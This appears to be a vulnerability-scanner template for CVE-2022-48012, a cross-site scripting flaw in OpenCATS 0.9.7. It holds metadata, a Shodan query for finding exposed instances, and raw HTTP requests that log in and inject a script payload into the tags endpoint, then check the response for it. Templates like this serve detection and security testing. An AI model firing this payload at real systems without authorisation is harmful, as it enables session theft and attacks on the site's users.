id: CVE-2022-48012

info:
  name: OpenCATS 0.9.7 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    OpenCATS 0.9.7 contains a cross-site scripting vulnerability via the component /opencats/index.php?m=settings&a=ajax_tags_upd. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  remediation: |
    To mitigate this vulnerability, it is recommended to apply the latest security patches or upgrade to a newer version of OpenCATS that addresses the XSS vulnerability.
  reference:
    - https://github.com/Sakura-501/Opencats-0.9.7-Vulnerabilities
    - https://github.com/Sakura-501/Opencats-0.9.7-Vulnerabilities/blob/main/Opencats-0.9.7-Reflected%20XSS%20in%20onChangeTag.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-48012
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-48012
    cwe-id: CWE-79
    epss-score: 0.00071
    epss-percentile: 0.29441
    cpe: cpe:2.3:a:opencats:opencats:0.9.7:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: opencats
    product: opencats
    shodan-query: title:"opencats"
  tags: cve,cve2022,xss,opencats,authenticated

http:
  - raw:
      - |
        GET /index.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?m=login&a=attemptLogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}
      - |
        POST /index.php?m=settings&a=ajax_tags_upd HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        tag_title=<script>alert(document.domain);</script>

    matchers:
      - type: dsl
        dsl:
          - contains(body_1, "opencats - Login")
          - contains(body_3, "<script>alert(document.domain);</script>")
        condition: and

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